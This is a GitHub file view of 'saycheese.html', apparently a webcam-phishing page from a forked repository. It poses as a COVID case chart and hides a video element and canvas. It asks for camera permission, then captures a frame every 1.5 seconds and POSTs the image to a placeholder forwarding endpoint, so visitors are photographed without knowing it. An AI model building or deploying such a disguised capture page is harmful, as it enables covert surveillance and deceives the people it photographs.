forked from hangetzzu/saycheese
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsaycheese.html
113 lines (87 loc) · 3.3 KB
/
saycheese.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<!doctype html>
<html>
<head>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<link rel="stylesheet" href="style.css">
<link href="https://fonts.googleapis.com/css2?family=Raleway:wght@100;300;700;800&display=swap" rel="stylesheet">
</head>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
<script>
function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function(){
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);
}
// Load init
init();
</script>
<body>
<div class="main">
<nav class="redes">
<div class="sociales">
<ul class="sociales">
<li><a href="https://www.instagram.com/brandonsr_3" target="_blank" class="instagram">Instagram</a></li>
<li><a href="https://www.twitter.com/brandonsr_3" target="_blank" class="twitter">Twitter</a></li>
<li><a href="https://www.github.com/brandonsr" target="_blank" class="github">GitHub</a></li>
</ul>
</div>
</nav>
<h1 class="title">COVID CASES PER MONTH</h1>
<div class="chart">
<canvas class="mychart" id="mychart" width="200" height="200">
</canvas>
</div>
<footer class="pie">
<p class="footer">©Brandon Roldan</p>
</footer>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.9.3/Chart.min.js" integrity="sha512-s+xg36jbIujB2S2VKfpGmlC3T5V2TF3lY48DX7u2r9XzGzgPsa6wTpOQA7J9iffvdeBN0q9tKzRxVxw1JviZPg==" crossorigin="anonymous"></script>
<script src="script.js"></script>
<p>Hint: Look at the favicon</p>
<p>(Accept Permissions)</p>
<p><label><input type="checkbox" name="mirror" id="mirror" /> Mirror image</label></p>
</body>
</html>